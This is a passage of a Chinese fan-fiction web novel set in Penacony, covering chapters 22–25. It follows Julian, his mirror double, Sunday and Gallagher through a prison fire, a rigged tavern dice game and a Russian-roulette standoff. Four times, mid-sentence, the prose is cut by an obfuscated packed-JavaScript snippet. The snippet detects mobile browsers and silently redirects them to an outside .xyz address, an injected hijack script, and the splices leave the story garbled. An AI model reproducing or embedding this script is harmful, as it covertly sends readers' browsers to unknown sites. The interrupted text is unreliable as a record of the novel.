深及腰部的水被放出,啃食了尤利安血肉的鱼没了水,无力地在地上蹦跳,鱼身上长出一团团肉瘤,拍在地上发出噗叽噗叽的响声。 铁链被斩断,尤利安踉跄落地险些摔倒,稳了稳,扶着墙强撑身体,失血过多到底对他有些影响。 “……终于来了。”他咳嗽两声,虚弱地说道。 黑暗中,他听到自己的声音回答道:“你把自己弄得真狼狈。” “拜你所赐。” 他听见自己在长吁短叹,嗔怪道:“真是的,怎么能全赖我头上呢,你看看你,工作了不到十年,却得罪了多少人。” “一段虚构的影像就足以让他们迫不及待地将你送入刑场,怕是恨你恨到牙痒痒了吧。说不定你还得感谢我提前为你引爆了这么多地雷,要是等到你踩上去再爆炸,那损失不是更严重了吗~” 矫揉造作的话语配合上故作俏皮的语气,好似腌渍失败的果脯上一层厚厚的劣质糖霜,轮到自己成为被调笑的对象,尤利安才能体会到,这种说话方式是多么让人恶心。 他捕捉到了对方话中的信息,追问道:“虚构?什么意思?不是你杀死的知更鸟吗?” “怎么,一提到这个你就这么急?你很在意她的死活吗?” “不,但是……” 尤利安听到自己夸张地大笑,随后他的头发被大力扯住,湿冷的气息吐在他耳畔。 “让你失望了,虽然影像是假的,但人确实是我杀的。” “那可真是位善解人意的好女孩,我只是说了两句,她就自己乖乖地往刀口上撞。” 尤利安失望地闭上眼,颤抖着问:“你为什么要杀了她?” 他虽然想过……不,他从没想过,更不想面对这样做的后果。 “为什么要疑惑呢?因为你不想杀了她,所以就认为我也不会这么做吗?” 微弱烛火亮起,橘黄色光线勾勒出一条轮廓清晰的下颌线。 “我想象过很多次你会是什么样的,醉心研究的学者?炙手可热的演员?又或者恶贯满盈的罪犯?它们听起来都不错。” “我为你预想了那么多条路,你都不选,偏偏走了我最讨厌的那条。” 头发被大力向上扯,尤利安被迫抬起头,火光上移,横在两张脸之间,烫得他下意识瑟缩。 两双红眸相对,一双结满冰霜,一双布满震惊。 “给一只蠢兮兮的鸟人当狗——你可真会选!”洛青嗤笑一声,扯着他的头发,把人重重砸到墙上。 “以为给自己找了个主人,就有了新的家吗?可怜到让人发笑。” “我知道你要等我干什么,你要出去,但是‘罪犯’越狱可不合规矩——于是你想到了你的镜像,让它来替你被关在这里,不就两全其美了吗?” “你想,它会帮你的,因为那是你的镜像,只要继承了你的记忆和思想,它也会乐意去当一只摇尾巴的乖狗,它可能很讨厌你,但它一定会帮你。” “天真又愚蠢——我都表现得那么明显了,你却还是猜不出真相,是因为你从未考虑过那种可能,对吗?” 那盏蜡烛被丢在地上,点燃地上的鱼尸,昏暗的牢房瞬间大亮,如同人间炼狱,有人要在这火中死去,有人要在这火中新生。 “为什么你在倒影中找不到自己的镜像?为什么你猜不透自己镜像的想法与行动?” 洛青蹲下身,手指轻抚着那张与自己一模一样的脸上的伤口,语气缠绵。 “亲爱的,因为——你才是那个赝品。” “想要出去吗?” 一柄冰做的长刀横在尤利安脖颈上,三指宽的刀身清晰倒映着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721291|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他颤动的双眸。 “或许,我有更快的方法。” …… 没过多久,重刑犯在狱中自杀的消息,就被呈到橡木家系家主案上。 薄薄一页纸就摆在红木桌上,可星期日竟然有些不敢翻开。 不到一天时间,他最亲近的两个人,皆蒙受死亡的召唤,淌过那条葬着无数幽魂怨鬼的河流,头也不回地离他而去。 匹诺康尼不存在真正的死亡,这是那位三重面相的神明,给予这片美梦圣地的赐福。 可祂端坐于高天之上,到底太过遥远,所谓赐福也只如一卷烟纸,沾上一点水,就能戳出个大洞。 戳破这层薄纸的是他最不希望的人,而那个人也在入狱后,毅然决然跳入冥河逃避审判。 他想要责怪谁,却连可以责怪的对象都没有,于是只好把这杆钢枪对准自己的心脏,沉重地扎了进去。 呈上消息的橡木家系成员问他:“家主大人,要将重刑犯的死讯和他犯下的累累罪行公之于众吗?” 罪行?是了,罪行。 除了知更鸟,还有一份厚厚的名单……那是其它家系整理给他的,死亡名单。 三千八百七十二个人……真是难以想象,明明尤利安几乎每时每刻都在他的视线范围内,明明他每个时间段的行动都被送到他眼中,他究竟是怎么,悄无声息地,杀掉这么多人的。 他心动的对象,是一个罄竹难书的杀人犯,是杀死他妹妹的仇人。 星期日按住那页纸,强作镇定,话语末却还是泄露了一丝颤抖:“不用……谐乐大典在即,现在公布只会影响来宾们对家族的信任。” “等到谐乐大典结束,我将和其它家系一同讨论,必会给受害者家属一个满意的答复。” 等到谐乐大典结束再说吧。 他咽下喉间的苦涩,展现在众人面前的,依然是那个优雅得体、泰然自若的橡木家系家主。 家族成员却不依不饶地追问:“您做出延后处理的决定,是否是因为和重刑犯私交甚笃,想要包庇他的罪行?” 这话就说得有些难听了。 星期日眉头微蹙,严肃地注视着房中的另一人:“不,只是这选择不该由我一人决断,现在也并非讨论它的最佳时机,确保谐乐大典顺利举行,才是家族的首要任务。” “真的吗?那你认为他的结局是罪有应得吗?” 星期日站起身,声音沉了下去,“这不是你该问的问题,请回吧。” 那名家族成员面容普通,身形普通,如果没有穿着橡木家系的衣服,丢入人群中就再也找不到了。 可现在,他的脸上浮现出一种古怪的表情,狰狞扭曲,让那张泯然众人的脸一下变得诡异恐怖。 他快步向星期□□近。 “你恨他吗,他杀了你的妹妹,犯下数不清的罪行,还极有可能会连累到你,你和他的交情,会成为你这辈子抹不去的污点。” “这不是你该关心的事,你——” 星期日身后的天环亮起,同谐——不,秩序的光芒浮现在他身侧,可还没等显形,便被无数柄血红的利刃斩断。 那张平淡无奇的脸上,骤然间布满密密麻麻的裂口,森白的骨骼和鲜红的肌理若隐若现,又被飞快冒出的血红尖刃堵了个完全——刹那间,人脸便如爆了芽的枝桠,猛然炸开。 23.第二十三章 无法飞翔的鸟儿被遗弃在野外,会发生什么? 星期日还记得自己第一次捧起小谐乐鸽时的情景,它是那么幼小,那么脆弱,浅紫色羽毛沾上了泥巴和草屑,沉重到无法打开,细细的爪子压在他手上,冰冷又无力。 一只被抛弃的,无法飞翔,无法歌唱的幼鸟,折翼在他们的花园中。 “哥哥,鸟儿不是为了在笼子里才破壳而生的。” 于是,两个天真的孩童将小鸟精心照料,每天为它梳理羽毛,准备好精致的食料。 并在它羽翼丰满的那一刻,打开了笼门。 在给知更鸟的信中,他写到,他们一同饲养的那只小鸟振翅飞向高天,回到了它的族群。 这是谎言。 无法飞翔的鸟儿跳入天空,迎接它的只有坠亡。 星期日不会忘记那一刻,他茫然地捧着那只娇小的谐乐鸽,看它扑腾着翅膀痛苦挣扎,可那只断掉的翅膀再无法挥动,畸形的骨骼在鸟腹和他的手掌间扭曲擦动,又在最后一丝气力耗尽后,痛苦地停下。 谐乐鸽死在他的手中。 它死后眼睛没有闭上,在惊恐痛苦中死去的小鸟,眼睛是不会闭上的。 两只圆溜溜的眼睛,眼珠乌黑发亮,眼周绕着一圈浅浅的灰,像两颗结了霜的葡萄,摘了蒂,失了水,在他的注视下,干了瘪了。 他捧着那只死去的小鸟,心里想的,却是一双泅满哀伤的眼眸。 “哥哥。” 饱含担忧的呼喊将他从梦中唤醒。 星期日睁开眼,头还隐隐作痛,目光却已紧紧锁定在他牵肠挂肚许久的妹妹身上。 “知更鸟……你没事就好……” 天环族少女上前,扶住他,神情忧虑。 “这里是……?” “小鸟们,欢迎来到流梦礁。” 星期日的注意力这才分给旁边身穿治安官服饰的男子一分。 他收起面对家人的柔软,俊美的脸上写满距离感。 “加拉赫先生,没想到会在这里见到你。” “是啊,真意外,我本来想亲自带你们来到真实的匹诺康尼,没想到两次都被人捷足先登。” 星期日面色沉了下去。 “你的意思是——” “没时间互相试探了。” 棕发的治安官向他伸出手。 “至少现在,我们有共同的敌人。” …… 寒冷、潮湿,阴森森的水汽剥开皮肤,亲吻骨骼,并非刀砍火烧般剧烈的疼痛,而是拿着一把小勺子,细细地刮着灰白色的骨质,一点点削薄。 眼皮上传来阵阵痒意,像是有人在用小刷子,如发掘文物一般,轻轻扫着其上的尘土。 尤利安呛出一口水,恍惚望着灰蒙蒙的天。 灰色的天,黯淡的天,粗粝到像一块年头已久,擦过破碗、门框、地板的丝巾,沾了水,罩在他脸上,脏兮兮的水雾被他吸进肺里。 他这是……到了他该去的地方吗? 黑色的小刷子毫不犹豫戳了过来,尤利安下意识闭上眼。 “你没死,别装了。” 他眼球转了转,移向右边,对上“自己”。 洛青撩回头发,半蹲着,笑盈盈地俯视着他。 “不给点反应吗?你也没想到竟然还能活着吧。” “……我该有什么反应?” “啊,好问题。”洛青歪着头,面色苦恼,一口气抛出好多个选项,“开心?震惊?伤感?你喜欢哪一个?” “……我应该喜欢哪一个?” “开心吧,不管怎么说,活着都是件值得开心的事,不是吗?” 尤利安平静地回答道:“那就选它吧。” 他很开心,他还活着。 他试图催眠自己,把洛青的话灌进自己脑海里,告诉自己要怎么做,该怎么做,可试了半天,脸上的神情还是死一般的寂静。 好似给不出什么有趣的反应。 眼瞧着他跟死尸一样瘫在地上,双眼放空,仿佛灵魂飘去另一个世界,左戳戳右戳戳都给不出什么反应,洛青泄气道:“真无聊。” 他索性自言自语。 “‘匹诺康尼不存在真正的死亡’,我还以为在酒店死去的人会上天堂了,结果是掉到这么个烂地方。” “我还贴心地把你扯到角落里,没有把你扔在大街上供来来往往的人围观——那里面会不会有你杀过的人呢?他们看到你会是什么反应?迫不及待地给你来一刀?” 洛青想象着那副情景,噗嗤一声笑了出来,自言自语把自己逗开心了。 “他们全在这里的话,那这么小的一座城市里,不是有上千个人都认识你?知名度真高啊——要不然你去竞选这座城市的市长吧,认识你的人估计比认识市长的还多。” 他哈哈大笑,被自己并不幽默的笑话触动,笑得前仰后合,浑身乱颤,如果有陌生人站在一旁,一定会被他吓一跳。 尤利安盯着那张熟悉又陌生的脸——与他一模一样的脸,做着他从未做过的浮夸表情,牵扯着脸上的肌肉,想要跟他一样地笑,失败了。 为什么做不到?他不应该是对方照着的镜子吗? 他陷入了深深的迷茫。 ‘我是那个假货。’他想,‘原来我连存在,都是错误的。’ 就像洛青所说,他从来没考虑过这种情况,而当荒诞的真相突然降临到他的世界中,二十多年生命所积攒下的经验全部作废,他只能再如一个初识世界的稚童,如履薄冰地咀嚼自己无法消化的事实。 被记忆眷顾,从镜中到现实无数次摆渡着,因此只需一个对视,他就清楚地意识到,他才是那个,盗取了别人形象的小偷。 消失的童年的记忆,还有过分脆弱的躯体,似乎都能解释得通了,它们并非自己为星神眷顾支付的代价,而是作为盗窃者,被判处的惩罚。 他似乎应该问询,是什么导致了他和本体分别,一面镜子被打碎,残留的影像却辗转着在另一个星球浮现,被照的镜子不清楚自己只是玻璃和镀层组合成的廉价工艺品,沾沾自喜地过着不属于自己的人生,多么滑稽的一件事。 面对古怪离奇的事件,他应该去探明其背后的真相的,可尤利安闭上眼在心中望了圈,发现他也不是那么喜欢寻根问底,这个真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756421|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相明明与他息息相关,但他却并不期待探明。 已经无所谓了。 他乏力地合上眼。 结局既然注定,接下来要做的,只有等待,等待命运对自己的安排。 匹诺康尼不存在真正的死亡,知更鸟也并未死去,想必也在这城市的某处。 她既然没有死,那总会回到匹诺康尼,出现在星期日面前,不需要自己操心。 罪犯下了地狱,这是他下的判决,无辜者重回人间,这是最好的结局。 笑声停止。 洛青扯住他的头发,将人拽起,逼迫他睁开眼,和自己对视,阴恻恻地说:“做出这副表情,你不会,想死吧?” 他伸手扼住尤利安的喉咙,用力,看着手中人的脸在缺氧下慢慢涨红却似乎没有求饶的意愿,又松开手,抚摸他脖子上大片大片的红痕。 “我很意外你还活着。”他说,“残次品往往只有外观相似,记忆和情感,只有继承的那一瞬得以保留,很快就会像开了闸的水库一样泻走,最后,只留下一具空空的外壳,被不知名的恶心东西鸠占鹊巢。” “但是你还活着,没有扭曲、变形,没有长出奇怪的东西,更没有像个傻子一样只会流口水傻笑,你活得像个人,像个正常人。” “为什么?” 两张一模一样的脸贴近,像照镜子一般,鼻尖对着鼻尖,每一分呼吸都打在镜面上,氤氲出一片雾气。 “告诉我诀窍吧,亲爱的。” “你顶着我的脸活了这么久,总该向我支付些报酬。” 他的表情是扭曲的、狰狞的,爱和恨在他眼中纠缠不休,分不出胜负,只好一同沉入眼眸深处,徒留一片争斗后的狼藉。 复杂的情绪如暴雨般砸下,浇得尤利安一身潮湿,他乖巧地顺着自己的话思考,半晌后,嗫嚅地回答道:“我不知道。” “……也是。” 洛青放开手,理了理自己凌乱的头发,微笑着说道:“总之,停止你那些危险的想法,你瞒不过我的。” “你需要一个活下去的理由吗?我来替你想一个吧。”他的语气漫不经心,“那只鸟人的处境可并不好,你就放心让他独自面对梦主和其它家系?” 提到星期日,乖顺到像个木偶一样的人终于有了反应,面上浮现出几分犹豫挣扎。 “……他还需要我吗?” “谁知道呢,我可不愿意去揣度鸟人的想法,同谐赐福的种族,哼,星神的走狗罢了。” “不如你猜猜,在你看不见的地方,他会是什么结局?” “被梦主从小选中培养的继承人,没有经历权力的厮杀,不会踩着别人向上爬,天真、漂亮、愚蠢,你不会以为真有那么多人服他吧?” “好了,现在你要死了,梦主也疯了,锋利的箭镞,终于可以扎到幼稚的小鸟身上了。” “你要怎么选呢?” 洛青饶有兴趣地凝视着他。 “我……”尤利安面露挣扎,最终,在戏谑的目光中狼狈地别过脸。 “我想……等到太阳升起,再去我该去的地方。” 他再一次,违背了自己的诺言。 24.第二十四章 昏黄的灯光、嘈杂的叫喊还有臭哄哄的酒气。 流梦礁唯一的酒馆中坐满了人,几张木制旧桌子上零零碎碎摆着轮盘、扑克、骰子,三五大汉围坐桌旁兴奋地叫唤,老板娘缩在吧台里,手持一块半旧不新的白布,有一下没一下地擦着酒杯。 “你输了!滚吧废物!” 身形单薄的男人被推下座位,他的衣服被扒光,只留下一件遮羞的底裤,四肢瘦得惊人,活像四根芦柴棒插在卷烟盒上,他伸出手,想要拽下桌上自己的衣服,被抽了一耳光后,转而去拽自己身前男人的裤腿。 男人将他一脚踹开。 “滚开,别耽误老子赚钱!” 他大喊道:“来赌!还有谁来赌!” 无人理会。 喝酒的喝酒,划拳的划拳,在这家酒馆待久了的人,都不会上他的当,白白当被宰肉喝血的肥羊。 男人砸吧砸吧嘴,有些不快,但碍于监管,还是悻悻作罢,只一双混浊的眼睛还滴溜溜地转。 一声清脆的铃响,酒馆门被推开。 男人眼睛一亮,伸出粗短的手指着门口。 “你!过来!” 进来的是一个披着斗篷看不清面容的人,身份信息都被黑色斗篷覆盖,只能依稀看出是个男性,身形并不魁梧。 他似乎是第一次来酒馆,兀然被指到有些发愣,又被严厉地呵斥一声后,乖乖站到男人对面。 “你想做什么?” 斗篷下传来的确实是一道男声,但男人面上浮现出喜色——这声音温柔、虚弱,分明是个男人,却像女人一样说话。 一听就是最好压榨的那种窝囊废。 他清了清嗓子,粗声粗气地说:“小子,第一次来这里吧?来跟我赌一把,这是规矩!” 要是他拒绝,就威胁他说不让他走出这扇门。 新人又不知道自己能不能整他,就算跑了,自己也没什么损失。 男人心中盘算着等会儿说什么,好让斗篷男坐下陪他赌一把,赢了钱好拿去接着买酒。 “好,玩什么?” “别想跑——嗯?”男人面露诧异,络腮胡都抖了三抖。 他没想到斗篷男这么爽快就同意了,明明正合了他的意,心里却隐隐有些不安。 “玩钱……” “好,”斗篷男满口答应,提出自己的要求,“游戏我定?” 他这么问,男人反而放宽了心——这也是个想耍点手段赢钱的,可惜主动权从来都在主人手上。 “不,游戏我来选,摇骰子赌大小,怎么样?你敢吗?” “好。”他再次同意了。 事情顺利到有些不可思议。 男人狐疑地上下扫视他,目光触及到斗篷下戴着腕表的手,逐渐了然。 估计又是哪个娇生惯养的蠢蛋,放着好好的人不当,来下三滥的地方当狗。 这种蠢货,就需要他这个野爹来狠狠给个教训。 旁边一个瘦猴似的男人走了过来,两人对了对眼神,用木杯扣住三个铁做的骰子。 “你赌大还是小?” “小。” 瘦猴手腕转动,木杯里的骰子相撞发出响声,几下后,骰盅揭开。 三五六,是大。 一张苜蓿币被摆到桌上。 男人面露歉意,将桌上的苜蓿币挪到自己面前,“运气好运气好,没关系,说不定下一把就是你赢了。” “下一局玩大一点。” 骰子再次被摇响。 这次,输赢异位,男人肉疼地将十张苜蓿币送到对面,大声抱怨道:“哎呀,还是新人运气好,一把就赢了够买一个月白面包的钱。” “还来吗?” “来。” 周围人齐刷刷地望过来,伸着脑袋,看这每隔一段时间就会上演,可还是百看不厌的戏码。 “这次我们玩大一点吧,一百万!怎么样!”男子大声嚷嚷道。 “当然,还是小。” 瘦猴和他对了个眼神,铁骰子再次卷入木杯中,与杯壁反复碰撞,发出叮叮咚咚的响声。 这局他一定会赢。 这种游戏,一开始就没什么公平可言。 简陋的环境,相识的庄家,还有灌了铅的骰子。 在牌桌上听了十几年骰子的耳朵不会放过任何一声响动,摇了无数次骰子的手比收钱时还稳。 三枚铁做的骰子,表面在油渍渍的桌面和手之间被摸到锃光发亮,数字大的那一面,都灌了铅。 骰子与杯壁相撞时,灌铅的那面发出的响声更沉闷一些,那闷的一点点,寻常人可能听不出来,但对于借助这个赚钱的二人来说,那就是钞票翻起的哗哗声,轻轻一响,黄金万两。 与其说是赌注,不如说是光明正大的抢劫。 这并非什么难以识破的高超手段。 在酒馆待上三两天,喝上几杯酒,就能看破这拙劣的把戏。 因此,这种小把戏也就骗骗第一次来这里的傻子,喝酒的其他人,也乐得看傻子被骗。 没有人看那个叮当作响的木杯,大家的目光都饶有兴味地,落在待宰的肥羊身上。 骰盅揭开。 三、四、四。 “我赢了!我赢了!”男子站起来,兴奋地大叫道,发黄的眼珠都隐隐有些红。 他伸手在桌子上敲,喊道:“拿钱来!” 刀搁在桌下,就在他脚边。 只要这个人拿不出钱,那么他就能以合理的理由,抢夺他的所有财产,并勒令他为自己工作,从肥羊变成长期血包。 毕竟,这里还是匹诺康尼,匹诺康尼有它的规矩,在“同谐”的保证下,没有完成协议的,才是要被惩治的。 男人眼中闪过一丝得意。 一百万苜蓿币,放在梦境中可能不算什么,但在流梦礁,在这个大部分人没有工作,物资匮乏的流放地,一百万苜蓿币,足够他潇潇洒洒过上三四年。 “你不会拿不出来吧?”他伏在桌上,喘着粗气。 无数双眼睛锁在斗篷男身上。 戏谑、嘲讽、怜悯……无人为他说话,因为这就是规矩。 规矩不可僭越。 青年顿了顿,从斗篷中掏出一摞摞钞票。 “……这些可不够。”男人将这些钱全拢到怀中,用肥大的手臂隔绝周围贪婪的视线,一个个瞪了回去。 啪的一声,腕表被搁在桌上。 暖黄灯光下,静静卧着一只金色的腕表,表带和表盘皆是璀璨到没有分毫瑕疵,男人呼吸一滞,着急地拿起腕表放在嘴里一咬,随后喜笑颜开地把它揣进怀里,假惺惺地说道: “这次算你好运,小子。” “不继续来吗?” 什么? 一瞬间,所有人脸上都被诧异占据。 “……你还想来?”男人面露惊奇,嘲笑道:“你还有什么能输给我的?” “一千万。”青年开口说道,“这次赌一千万。” 男人讪笑着又坐回椅子上。 周遭传来窸窸窣窣的笑声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774605|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>输了这么多,还不明白这是一场圈套,看来这次来的是个彻彻底底的蠢货。 “你选什么?” “大。” 男人挑眉,说道:“那我就是选小了。” 选大选小都没有区别。 灌了铅的骰子,轻轻一个翻转,便能决定它的大小。 男人给瘦猴递了个眼神,手中比划着一个“三”。 并非表示骰子骰面三,而是表示,这次的收益,分他三成。 瘦猴脸上也压不住笑了。 这么大一只肥羊,只分三成,也足够他吃得满嘴流油。 他熟练地抓起骰盅,将三枚骰子猛扣其中,双手极速甩动,骰子在其中疯狂舞动,清脆又杂乱的声响,仿佛琥珀王敲下的,宣称时间与财富流动的锤声。 一声、两声……清脆与沉闷交错,在三声脆响同鸣后,他将骰盅猛地掀开。 闷是大,脆是小,不会错,这次的结果是——小。 所有人屏息凝神,目光牢牢锁在那三枚小小的骰子上。 是巨额财富的流通?还是鲜活生命的凝结? 他们即将见证,一个白痴的堕落。 结果揭晓。 第一个骰子——六。 男人瞳孔颤抖着,移向第二个——也是六——第三个——还是六?! 三个六并排,整整齐齐,滑稽无比,明目张胆地宣告着,这盘游戏局下有诈,而他还沾沾自喜地跳入圈套。 他猛地站起,拽着瘦猴的衣领,把他拖到自己面前。 “你什么意思!”他惊慌失措地大吼,“你认识他?你和他一起——做局算计我?” 他只能想到这种可能。 狼狈为奸的同伴本就不能信任,瘦猴能为了钱跟他同伙,也能为了钱刺他一刀。 “他们出千!他们出千!”男人目呲欲裂望向酒馆的角落。 “这盘不能算!” 这盘不能算! 男人的呼吸越来越粗,脖颈青劲爆起,眼中的红血丝如蛛网般蔓延开,整个人像是被突然注入狂犬病毒,在发疯咬人的边缘。 他得证明,他得在十分钟之内证明这盘赌局并不公平,不然,他就要被架在刀锋上,背上一千万的负债。 一千万……他做一辈子的家畜也无法偿还! “我没有……”瘦猴焦急地想掰开他的手,可巨大的力量差距让他的挣扎白费功夫。 “不能算!这不公平!” “……你付不起赌注吗?”青年依然用那种温柔的、虚弱的语气说道,这种柔弱一开始让男人窃喜,现在却只会往他的愤怒上火上浇油。 “当然!你以为谁都是你这种有人养着,不识柴米价的蛀虫吗!” “你随随便便定下一个赌注,有没有想过我怎么活!” 他一把甩开瘦猴,要去揪住那条黑色的斗篷,把这个算计他的小人的真面目揭穿—— “那我们换一个赌注吧。”青年轻飘飘地说。 男人的手僵在半空。 “继续下一局游戏,但是这一次,规则和赌注,都得我来定。” 男人慢慢跌回座位上,巨大的不安在他心中扩大,可若隐若现的那丝生机,又逼迫他不得不应下这个条件。 “……你想玩什么?” 他似乎听到一声轻笑。 “不玩钱,来玩命。” 一把银色的手枪抵在他冒着油光的额头上。 “六个弹槽,一枚子弹。” “猜一猜,你会在第几发死。” 25.第二十五章 必输的赌局,还能叫赌局吗? “选吧。”平淡的语气,好似让他选的不是子弹,而是几颗五颜六色的劣质糖果。 握住枪的手很稳,手指上布满伤痕,彰显着持枪者并非被保护得不谙世事的蠢货,而是随时可能收割人命的猎者。 “我、我……”顶着枪口,男人哆嗦着,半天憋不出一句话。 “一千万,或者这局游戏,你只有两个选项。” 被同谐庇佑的城市,自然也要受同谐制约。 规则是保护,也是枷锁,既然许下承诺,就必须要遵循。 在这酒馆之外,存在如此多的规则桎梏着每一个人,稍有违反,便会引来无数猎犬撕咬追逐。 死而复“生”,流梦礁与梦境之内存在联系,大概早就收到了他流落至此的消息,在他进入这间酒馆前,就在外墙上看到了画着自己画像的通缉令。 时间并不充裕,他无心披上红布,与一群发疯的野牛周旋。 快一点,再快一点…… “我、我选……第、第六发。” “很不幸,猜错了。” 扳机扣下。 子弹躺在第一发弹槽里,与枪口距离不到一寸,一眨眼,就能从枪膛射出,击碎头盖骨,刺入温暖的脑髓中。 被枪口指着的男人面色煞白,豆大的汗珠从额头鼻尖不断滚落,眼睛瞪得极大,鼓起的眼珠中,倒映出越来越大的火光。 死过一次的人,如何面对第二次死亡? 枪声响起。 子弹飞出,击碎的却不是头盖骨,而是不远处的一盏烛火。 男人茫然地睁开眼,发现自己还活着后,连滚带爬地跌下座位,爬到一旁。 “加拉赫先生。”青年将枪收起,对着角落的棕发男人,慢条斯理地说道,“真没想到会是你。” “白日梦酒店的调酒师、猎犬家系的治安官、流梦礁秩序的维护者……加拉赫先生,你还有什么身份,是我所不知道的?” 匆匆一瞥的调酒师,不想再次遇见会是在这番情景下。 连一个调酒师都能对流梦礁的存在镇定自若……是因为他本就身份特殊,还是因为,这深层的匹诺康尼,只对他来说算个秘密? “藏头露尾可不是什么好表现,在质问我之前,不妨先表露自己的身份。” “你说的对。” 苍白的手搭在黑色布料上,如同夜幕中兀自高悬的孤月。 宽大斗篷被揭下,露出一张白皙昳丽的脸,黑发杂乱垂下,虽还是优雅地笑着,但眼下微微的黑眼圈,让这分笑意比之上次相见,多了一丝疲惫。 “尤利安,过去的身份不值一提,目前的身份只有一个——阶下囚。” 酒馆中有小部分面色显然一变,数十道不善的目光落在他身上,如芒刺背。 尤利安并没有理会,只盯着治安官,浓郁深邃的红眸中,倒映出他那令自己陌生又熟悉的面容。 “如何?加拉赫先生,现在是你该回答我的问题了。” 加拉赫抬手,尤利安以为他要掏出一支烟来——他的面容和气质总让人觉得,他是残缺的童话故事中,击败魔王后眼睁睁看着同伴老去又逝去,最终在他们墓前点上一支烟,沉默不语的昔日勇者——最后变成酒馆npc,给予下一位故事主角指引的那种。 结合“开拓”的意义,说不定他的真实身份当真如此:上一个故事的勇者,这一个故事用完即扔的指导型npc。 出乎他意料的是,加拉赫抬起手,并没有拿出什么……只是做了个指引的手势,平静地说道: “我吗,我只是一条老狗而已。” 尤利安脸上的笑容快挂不住了。 他想,自己其实从来没什么耐心可言,急躁才是他的本色,只是这本色在长久的规训中被装进盒子里,打包成更讨人喜欢的模样——冷静优雅,温和矜持。 但他现在没有闲心也没有时间再去伪装,直截了当地质问他:“加拉赫先生,我的时间很紧迫,没空听你闲扯一些用来骗人的童话故事,犬人族可不是你这样的——如果你想说的是你是猎犬家系的成员就不必了,这并不是我想要的答案。” 这年头,连说真话都没有人听。 加拉赫认识尤利安——他才刚答应星期日要找到对方,不可能不认识这张脸。 只是现在看来,除了长相,对方与那位独裁的家主所形容的一切都大相径庭,虽不知哪面是真哪面是假,但那位有着非凡控制欲的家主若是看见他的手下对他隐瞒众多,怕是会勃然大怒。 他问道:“你费尽心思想和我这条老狗见一面,又是为了什么呢?” 尤利安保持着笑,目光阴沉沉地扫视他,“钟表匠的遗产,为我打开它吧。” “装傻充愣就免了吧,这座城市开拓的气息如此明显——在那颗人造的月亮上。其余几位开拓者的墓碑也竖在此处,被同谐笼罩的匹诺康尼之下的真实,居然是开拓的遗址,恐怕,星穹列车也是你们邀请来的吧。” 他缓了缓,继续说: “能从公司手中保下匹诺康尼,钟表匠自有他的底牌,能让你们特意将星穹列车邀请来,他的遗产绝对不止财富——请为我打开它吧,解放匹诺康尼的大英雄,他的遗产,应该不会内定给某一特殊人群吧?” 这场银河盛会,邀请各大势力的理由,除了谐乐大典,便是钟表匠的遗产。 钟表匠的遗产,在匹诺康尼也算是个不大不小的都市传说了,尤利安从前没把它当真,这种东西就跟遗落在大海中的宝藏一样,只是一个吸引更多人探索的噱头——当然认清确有其实后,自然另当别论。 开拓者、开拓者……钟表匠的时代,阿基维利尚未陨落,他的遗产,是否可能与那位已逝的星神相关? 这座城市有多位星神的气息,可它们都和谐地共处一室,连巡猎并未试图蚕食丰饶——能做到这一点,除了星神的伟力,别无他法。 尤利安想,他或许,迫切地需要这份遗产。 “为我打开那条,通往月亮的路吧。” “抱歉。” 他神色一僵,眼神更加阴冷,被这样的目光锁定,好似被一条张开大嘴的毒蛇缠住,令人胆寒。 “你以为,你有拒绝的权力吗?” “并非是我想拒绝,而是我确实没有这个能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779948|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力为你打开。”加拉赫叹气,难以想象自己作为十三岁的“未成年”,要去包容二十多岁不成熟的成年人。 尤利安怀疑地看着他,脸上明晃晃写着不信。 “我不信,”他说着,要过来扯住加拉赫的衣领,“这只是你的借口。” 他的眼神发冷,语气斩钉截铁。 “为什么要骗我!” 加拉赫:“……” 加拉赫:“有人拜托我找你。” “家族的通缉用不着你提醒我……” “是星期日。” 扯住他的手僵在半空,慢慢放下。 尤利安面色灰白下来,喃喃道:“是其他人欺骗了他,让家主大人以为我越狱出逃了吗……” 